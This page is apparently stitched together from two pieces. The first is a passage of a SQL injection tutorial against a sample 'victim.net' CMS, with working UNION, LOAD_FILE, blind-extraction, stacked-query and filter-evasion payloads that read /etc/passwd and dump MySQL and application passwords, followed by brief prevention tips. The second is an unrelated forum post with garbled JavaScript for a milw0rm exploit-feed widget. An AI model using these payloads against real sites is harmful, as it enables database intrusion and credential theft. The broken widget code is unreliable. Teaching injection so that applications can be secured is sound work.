---------------------------------------------------------------------------

Yes, sometimes is useful to know what is the user used to connect to the database.

mysql> select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;

--------------------------------------------------------------------
| id | pri | title | texts |
--------------------------------------------------------------------
| 1 | 0 | testing news 2 | could be bypassed easily? |
--------------------------------------------------------------------
| omni@localhost | NULL | NULL | NULL |
--------------------------------------------------------------------

An interesting function implemented in mysql server is LOAD_FILE that, as the
word say, is able to load a file. What we can do with this? gain information and
read files. Here below the query used as example:

select * from news where id=1 union select NULL,NULL,LOAD_FILE('/etc/passwd') from usr;

This is what my FireFox shows to me:

http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE('/etc/password')%20from%20usr;

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?
Title:

News:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]
[output cutted]
[...]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Sounds interesting right, don't you?

Could be interesting to get some sensitive information such as mysql users and passwords
right? By injecting our code as shown below we can get such that information.

SELECT * FROM news WHERE id='1' UNION SELECT Host, User, Password FROM mysql.user/*'
-------------------------------------------------------------------------------[/]

---[ 0x06: Standard Blind SQL Injection ]

SQL Injection and Blind SQL Injection are attacks that are able to exploit a software
vulnerability by injecting sql codes; but the main difference between these attacks
is the method of determination of the vulnerability.

Yes, because in the Blind SQL Injection attacks, attacker will look the results
of his/her requests (with different parameter values) and if these results will return
the same information he/she could obtain some interesting data. (I know, it seems
a bit strange; but between few lines you will understand better).

But why Standard Blind SQL Injection? What does it mean? In this part of the paper
I'll explain the basic way to obtain information with Blind SQL Injection without bear
in mind that this type of attacks could be optimized. I don't wanna talk about the
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that -
"Optimizing the number of requests in blind SQL injection").

Ok, let's make a step forward and begin talking about Detection of Blind SQL Injection.
To test this vulnerability we have to find a condition that is always true; for example
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE
condition we don't know if our new injected query will be true or false; therefore
we have to make some tests. When the query is true? The query is true when the record
returned contain the correct information. Maybe is a little bit strange this explanation but
to make things clear I wanna let you see an example. Suppose that we requested this
URL:

http://www.victim.net/CMS/view.php?id=1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

As you can see we have just viewed our first news (id=1). What happends if we request
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?
In our browser we just see the same page because the query is obviously true.
Here below the injected query:

SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1

Now, we (I hope) have understood what is a Blind SQL Injection; and to understand
better how we can use this, I want to make a simple example/scenario. I'm thinking that
the web application is connected to MySQL using the user omni; how to know this by using
Blind SQL Injection? Just requesting this URL:

http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost'

and watch the reply sent on our browser. If in our FireFox (or whatever you want)
we will see the news with ID=1 we know that omni is the user used to connect to
the mysql deamon (because the query is true; and we found the true value to pass
to the query).
Let's go deeper. What we can do with Blind SQL? Could be interesting to retrieve
the admin password. How to do that? First of all to understand better the
steps I'm going to explain we need to know some basic information.

Function used in MySQL:

- ASCII(str)
Returns the numeric value of the leftmost character of the string str.
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()
works for 8-bit characters.

mysql> select ascii('a');
-----------
| ascii('A') |
-----------
| 97 |
-----------

mysql> select ascii('b');
-----------
| ascii('b') |
-----------
| 98 |
-----------

- ORD(str)

If the leftmost character of the string str is a multi-byte character, returns
the code for that character, calculated from the numeric values of its constituent
bytes using this formula:

(1st byte code)
+ (2nd byte code x 256)
+ (3rd byte code x 2562) ...

If the leftmost character is not a multi-byte character, ORD() returns the same value as
the ASCII() function.

- SUBSTRING(str,pos), SUBSTRING(str FROM pos),
SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

The forms without a len argument return a substring from string str starting at position pos.
The forms with a len argument return a substring len characters long from string str, starting
at position pos.
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value
for pos. In this case, the beginning of the substring is pos characters from the end of the
string, rather than the beginning.
A negative value may be used for pos in any of the forms of this function.

- SUBSTR(str,pos), SUBSTR(str FROM pos),
SUBSTR(str,pos,len), SUBSTR(str FROM pos FOR len)

SUBSTR() is a synonym for SUBSTRING().

mysql> select substring('Blind SQL', 1, 1);
----------------------------
| substring('Blind SQL', 1, 1) |
----------------------------
| B |
----------------------------

mysql> select substring('Blind SQL', 2, 1);
----------------------------
| substring('Blind SQL', 2, 1) |
----------------------------
| l |
----------------------------

- LOWER(str)

Returns the string str with all characters changed to lowercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT LOWER('SQL');
----------------
| LOWER('SQL') |
----------------
| sql |
----------------

- UPPER(str)

Returns the string str with all characters changed to uppercase according to
the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT UPPER('sql');
--------------
| UPPER('sql') |
--------------
| SQL |
--------------

Now we have understood the principals MySQL functions that could be used while
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)

What we need again? Suppose that we know for a moment the admin password: "secret".

mysql> select ascii('s');
-----------
| ascii('s') |
-----------
| 115|
-----------

mysql> select ascii('e');
-----------
| ascii('e') |
-----------
| 101|
-----------

mysql> select ascii('c');
-----------
| ascii('c') |
-----------
| 99 |
-----------

mysql> select ascii('r');
-----------
| ascii('r') |
-----------
| 114|
-----------

mysql> select ascii('t');
-----------
| ascii('t') |
-----------
| 116|
-----------

It's time to watch the source code:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

[ ... ]

$SQL = "select * from news where id=".$_GET['id']." LIMIT 1";

$result = mysql_query($SQL);

if (!$result) {
die('Invalid query: ' . mysql_error());
}

[ ... ]

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Now, try to "exploit the bug" by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:
what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

The query is TRUE (we know that the first letter of the password is 's') and therefore, the query will be:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1

What is the number 115? Read upon is the ascii value of the 's'. We retrieved the first character
of the password (by using some MySQL functions).

.:. (SELECT pwd FROM usr WHERE id=1) => SELECT the password of the user with ID=1 (admin)
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) => Get the first letter of the password (in this case 's')
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) => Get the ASCII code of the first letter (115 in this case)

And how to retrieve the second letter of the password? Just carry out this query:

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1

by requesting this URL:
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101

The third character? And the others? Just make the same query with the right values.
Take in mind that you can also use the "greater then" (>) and "less then" (<) symbols
instead of the equal; to find the ASCII letter between a range of letters.
Eg.: between 100 and 116; and so on.
-------------------------------------------------------------------------------[/]

---[ 0x07: Double Query ]

Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved
Extension) that is an extension allows you to access to the functionality provided
by MySQL 4.1 and above.

I'll explain a very interesting bug that could be very dangerous for the
system. A not properly sanitized variable passed in the method called multi_query of
the mysqli class can be used to perform a "double" sql query injection.

mysqli_multi_query (PHP 5) is able to performs one or more queries on the
database selected. The queries executed are concatenated by a semicolon.

Look this example to know what I'm talking about:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

$mysqli = new mysqli("localhost", "root", "root", "test");

if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT user FROM usr WHERE id =". $_GET['id'].";";
$query .= "SELECT texts FROM news WHERE id =". $_GET['id'];

echo 'UserName: ';

if ($mysqli->multi_query($query)) {
do {
/* the first result set */
if ($result = $mysqli->store_result()) {
while ($row = $result->fetch_row()) {
echo " - " .$row[0]. "
" ;
}
$result->free();
}
/* print divider */
if ($mysqli->more_results()) {
echo "/-/-/-/-/-/-/-/-/-/-/-/-/-/
";
}
} while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

If a user request the follow URL:

http://www.victim.net/CMS/multiple.php?id=2

The browser reply with this information:

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: - ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
- could be bypassed easily?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

But the source code is bugged. The $query variable is vulnerable because
a user can supply using the GET method, an evil id and can do multiple (evil) queries.

Trying with this request:

http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*

We will obtain the users passwords.

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: - ad
/-/-/-/-/-/-/-/-/-/-/-/-/-/
- secret
- adpwd
- test

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
-------------------------------------------------------------------------------[/]

---[ 0x08: Filters Evasion ]

Web Application could implements some input filters that prevent an attacker from
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application
can use some mechanism that are able to sanitize, block or parse in some ways
user-supply data. This kind of filters could be bypassed by using differents methods,
here I wanna try to give to you some ideas; but certainly one filter differ from
an other one so, you have to try/find different methods to bypass it.

- Imagine that we have to bypass a login form; but the comment symbol is blocked,
we can bypass this issue but injecting this data ' OR 'a' = 'a instead of ' OR 1 = 1 /*

- The filter try to prevent an SQL Injection by using this kind of Signature: ' or 1=1 (Case-insensitive).
An attacker can bypass this filter using ' OR 'foobar' = 'foobar for example.

- Suppose that the application filter the keyword "admin", to bypass this filter we have just
to use some MySQL functions such as CONCAT or CHAR for example:
union select * from usr where user = concat('adm','in')/*
union select * from usr where user=char(97,100,109,105,110)/*

This is only a little part of "filter evasion techniques". Different filters work
differently, I can't stay on this topic forever; I just gave to you some ideas.
-------------------------------------------------------------------------------[/]

---[ 0x09: SQL Injection Prevention ]

How to prevent this type of attacks? Here below I just wanna write some
tips that you can use to make your web application more secure.

1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,
and so on..) can help us with the magic quote functions. Other interesting functions can
be setted to On; take a look inside this file.

Magic quotes can be used to escape automatically with backslash the user-supply single-quote ('),
double-quote ("), backslash (\) and NULL characters.
The 3 magic quotes directives are:

- magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.
- magic_quotes_runtime, if enabled, most functions that return data from an external source, will have
quotes escaped with a backslash.
- magic_quotes_sybase, that escape the ' with '' instead of \'.

2.) deploy mod_security for example

3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate
every user inputs.

4.) For integer input validate it by casting the variable
-------------------------------------------------------------------------------[/]

---[ 0x10: Conclusion ]

Here we are, at the end of this paper. As said upon, I hope you enjoyed it and
for any questions please mail me.
-------------------------------------------------------------------------------[/]

milw0rm Javascript Content Parser v3.0

Changes:
*AJAX rendering techniques
*Browser compliance! designed for Internet Explorer 6 & 7, Firefox, Opera, Seamonkey, Safari
*The code is smaller, I made it too big of useless stuffs in 2.0
*The javascript does no more act on the page loading time if the source feed is offline or timeout, simply choose when it will load the remote feed by adding update_ModuleX(); anywhere on your page, preferably in the footer.
*PHP proxy (this is optional, see post #2 in this thread)

What is it:

This is a simple javascript code wich you can copy and paste on your website to stay informed about the various public exploits, I have started building it 2 years ago from a basic code made by sophos, then with str0ke's cooperation I have got the idea to port it for milw0rm, rewriting it with AJAX styles, and that's what it is now. I think I won't update it much because it is now perfectly running, maybe a few minor updates to enhance the browsers compatibilities.

How to use it:

The code below is the sample code for the remote exploits section in milw0rm, if you would like to display other sections like dos, local, webapps, just change the configuration settings in the header of the code and replace all occurences of milalerts1 to the milalerts# defined for each sections, you should know that they are defined like this on milw0rm.com:
  • remote exploits = milalerts1
  • local exploits = milalerts2
  • webapps exploits = milalerts3
  • dos exploits = milalerts4
You must have only 10 occurences to change, with a quick editor that's fast to achieve.

//update:
I have forgot to mention, if you would like to display several milw0rm modules on a same web page, you must think to rename all occurences of _Module1 to _Module# where # is a unique number from 2 to 4 for example, this will work around some functions that could be mixed between each modules.



Code:

PHP Code:



<
script type="text/javascript">

// Layout settings
var feed_Module1 = 'http://milw0rm.com/js/3.0/remote.php' // news url
var table_border_Module1 = '0' // table border size (default:0)
var table_width_Module1 = '175' // table width, in % or px (default:100%)
var table_cspacing_Module1 = '1' // table cellspacing (default:1)
var table_cpadding_Module1 = '0' // table cellpadding (default:0)
var table_bgcolour_Module1 = '#000000' // table background colour (default:#000000)
var table_bdcolour_Module1 = '#000000' // table border colour (default:#000000)
var table_bgpic_Module1 = '' // table background picture (default:none)
var table_align_Module1 = 'left' // table horizontal alignement, LEFT | RIGHT (default:left)
var table_hspace_Module1 = '0' // table horizontal space (default:0)
var table_vspace_Module1 = '0' // table vertical space (default:0)
var table_height_Module1 = '0' // table height (default:0)
var header_align_Module1 = 'left' // header horizontal alignement, LEFT | CENTER | MIDDLE | RIGHT (default:left)
var header_valign_Module1 = '' // header vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none)
var header_height_Module1 = '0' // header height (default:0)
var header_bgcolour_Module1 = '#000000' // header background colour (default:#000000)
var header_tcolour_Module1 = '#FFFFFF' // header text colour (default:#FFFFFF)
var header_ttheme_Module1 = '' // header text theme (default:Eras Medium ITC)
var header_tsize_Module1 = '1' // header text size (default:0)
var header_title1_Module1 = 'remote exploits' // header plural title
var header_title2_Module1 = 'remote exploit' // header singular title
var column1_align_Module1 = 'center' // column1 alignement, LEFT | CENTER | MIDDLE | RIGHT (default:center)
var column1_valign_Module1 = '' // column1 vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none)
var column1_height_Module1 = '0' // column1 height (default:0)
var column1_bgcolour_Module1 = '#918484' // column1 background colour (default:#918484)
var column1_tcolour_Module1 = '#000000' // column1 text colour (default:#000000)
var column1_ttheme_Module1 = '' // column1 text theme (default:Arial Narrow)
var column1_tsize_Module1 = '1' // column1 text size (default:0)
var column2_width_Module1 = '' // column2 width, in % or px (default:90%)
var column2_align_Module1 = 'left' // column2 horizontal alignement, LEFT | CENTER | MIDDLE | RIGHT (default:left)
var column2_valign_Module1 = '' // column2 vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none)
var column2_height_Module1 = '0' // column2 height (default:0)
var column2_bgcolour_Module1 = '#004000' // column2 background colour (default:#004000)
var column2_tcolour_Module1 = '#00C000' // column2 text colour (default:#00C000)
var column2_hcolour_Module1 = '#D6EF39' // column2 highlight color, to highlight newly added milw0rm exploits (default:#D6EF39)
var column2_ttheme_Module1 = '' // column2 header text theme (default:Arial Narrow)
var column2_tsize_Module1 = '1' // column2 text size (default:0)

// Functional settings
var count_column_Module1 = '2' // column count, 1 or 2 (default:2)
var count_Module1 = 10 // news count, 1 to 10 (default:10)
var adjust_length_Module1 = 'no' // news length correction 'yes' or 'no' (default:yes)
var adjust_var_Module1 = 55 // maximum characters count after what the correction is made (default:75)

// **********************no modifications required after*******************************
var b_Module1 = '..';
var
htmltxt_Module1 = "";
var
base_colour_Module1 = column2_tcolour_Module1;
var
font_header_Module1 = '+ header_tsize_Module1 + '" face="' + header_ttheme_Module1 + '" color="' + header_tcolour_Module1 + '">';
var
font_column1_Module1 = '+ column1_tsize_Module1 + '" face="' + column1_ttheme_Module1 + '" color="' + column1_tcolour_Module1 + '">';
var
font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">';
var
milalerts1;

function
wait_Module1(millis_Module1)
{
var
date_Module1 = new Date();
var
curDate_Module1 = null;
do {
curDate_Module1 = new Date(); }
while(
curDate_Module1-date_Module1 < millis_Module1);
}

function
error_Module1()
{
for (var
lid_Module1=1,i_Module1=0;i_Module1<10;i_Module1++,lid_Module1++)
{
document.getElementById('link_Module1'+ lid_Module1).innerHTML= font_column2_Module1 + 'Timeout, refresh'
;
}
return;
}

function
refresh_Module1()
{
for (var
lid_Module1=1,i_Module1=0;i_Module1<40;i_Module1+=4,lid_Module1++)
{
document.getElementById('link_Module1'+ lid_Module1).innerHTML= font_column2_Module1 + 'Refreshing...'
;
}
update_Module1();
return;
}

function
update_Module1()
{
wait_Module1(0);
scriptTag_Module1 = document.getElementById('Script_Module1');
headID_Module1 = document.getElementsByTagName("head")[0];
if(
scriptTag_Module1) {headID_Module1.removeChild(document.getElementById('Script_Module1'));}
newScript_Module1 = document.createElement('script');
newScript_Module1.type = 'text/javascript';
newScript_Module1.src = feed_Module1 + "?" + Math.random(); //IE7 refresh patch to avoid caching
newScript_Module1.id = 'Script_Module1';
newScript_Module1.defer = false;
headID_Module1.appendChild(newScript_Module1);
newScript_Module1.onreadystatechange=function() {
if(
newScript_Module1.readyState=="loaded"){
scriptLoaded_Module1();
return;
}
}
newScript_Module1.onload=function() {
scriptLoaded_Module1();
return;
}
if(
newScript_Module1.readyState=="loaded") { //Opera patch
scriptLoaded_Module1();
return;
}
return;
}

function
scriptLoaded_Module1()
{
wait_Module1(100);
if (
milalerts1==null) {
error_Module1();
return;
}
for (var
lid_Module1=1,i_Module1=0;i_Module1<40;i_Module1+=4,lid_Module1++)
{
if (
milalerts1[i_Module1+3]=='1'){ column2_tcolour_Module1 = column2_hcolour_Module1;font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">'; }
if (
adjust_length_Module1 == "yes")
{
var
a_Module1 = milalerts1[i_Module1+1];
if (
a_Module1.length > adjust_var_Module1)
document.getElementById('link_Module1'+ lid_Module1).innerHTML='+ milalerts1[i_Module1+2] + '" target="_blank" style="text-decoration: none">' + font_column2_Module1 + a_Module1.substr(0,adjust_var_Module1) + b_Module1 + ''
;
else
document.getElementById('link_Module1'+ lid_Module1).innerHTML='+ milalerts1[i_Module1+2] + '" target="_blank" style="text-decoration: none">' + font_column2_Module1 + milalerts1[i_Module1+1] + ''
;
}
else
document.getElementById('link_Module1'+ lid_Module1).innerHTML='+ milalerts1[i_Module1+2] + '" target="_blank" style="text-decoration: none">' + font_column2_Module1 + milalerts1[i_Module1+1] + ''
;

if (
count_column_Module1 != "1")
{
document.getElementById('date_Module1'+ lid_Module1).innerHTML='' + font_column1_Module1 + milalerts1[i_Module1+0] + '
'
;
}
column2_tcolour_Module1 = base_colour_Module1;
font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">';
}
lid_Module1=1;
i_Module1=0;
return;
}

if (
count_column_Module1 == "1") { colspan_Module1 = 1; }
else {
colspan_Module1 = 2; }

if (
count_Module1 > 0)
{
if (
count_Module1 > 10) {count_Module1 = 10}

htmltxt_Module1 +=
'\n+ table_align_Module1 +
'" width="' + table_width_Module1 +
'" cellspacing="' + table_cspacing_Module1 +
'" cellpadding="' + table_cpadding_Module1 +
'" border="' + table_border_Module1 +
'" bordercolor="' + table_bdcolour_Module1 +
'" bgcolor="' + table_bgcolour_Module1 +
'" background="' + table_bgpic_Module1 +
'" hspace="' + table_hspace_Module1 +
'" vspace="' + table_vspace_Module1 +
'" height="' + table_height_Module1 +
'">';

htmltxt_Module1 +=
'\n";
}
else
{
htmltxt_Module1 +=
'Latest ' + count_Module1 + ' ' + header_title1_Module1 +
"from milw0rm";
}

for (var
i_Module1=0, lid_Module1=1; i_Module1<count_Module1*4; i_Module1+=4, lid_Module1++)
{
if (
count_column_Module1 == "1")
{
htmltxt_Module1 +=
'\n
';
column1_tcolour_Module1 = base_colour_Module1;
font_column1_Module1 = '+ column1_tsize_Module1 + '" face="' + column1_ttheme_Module1 + '" color="' + column1_tcolour_Module1 + '">';
}
else
{
htmltxt_Module1 +=
'\n
';
column2_tcolour_Module1 = base_colour_Module1;
font_column2_Module1 = '+ column2_tsize_Module1 + '" face="' + column2_ttheme_Module1 + '" color="' + column2_tcolour_Module1 + '">';
}
}
}
else
{
document.write("=== MILW0RM info feed error: Specify value of count > 0 ===");
}

htmltxt_Module1 += '\n
+ header_align_Module1 +
'" valign="' + header_valign_Module1 +
'" height="' + header_height_Module1 +
'" colspan="' + colspan_Module1 +
'" bgcolor="' + header_bgcolour_Module1 +
'">' + font_header_Module1 +
'' + font_header_Module1 +
'|about
' + font_header_Module1 +
'refresh
';

if (
count_Module1 == 1)
{
htmltxt_Module1 +=
'Latest ' + header_title2_Module1 +
"from milw0rm
+ column2_align_Module1 +
'" valign="' + column2_valign_Module1 +
'" height="' + column2_height_Module1 +
'" bgcolor="' + column2_bgcolour_Module1 +
'">
+ lid_Module1 +
'">' + font_column2_Module1 +
'Updating...
+ column1_align_Module1 +
'" valign="' + column1_valign_Module1 +
'" height="' + column1_height_Module1 +
'" bgcolor="' + column1_bgcolour_Module1 +
'">' + font_column1_Module1 +
'
+lid_Module1+'">' + lid_Module1 +
'
+ column2_align_Module1 +
'" valign="' + column2_valign_Module1 +
'" height="' + column2_height_Module1 +
'" width="' + column2_width_Module1 +
'" bgcolor="' + column2_bgcolour_Module1 +
'">
+ lid_Module1 +
'">' + font_column2_Module1 +
'Updating...
'
;

document.write(htmltxt_Module1);
update_Module1();




Twitter Delicious Facebook Digg Stumbleupon Favorites More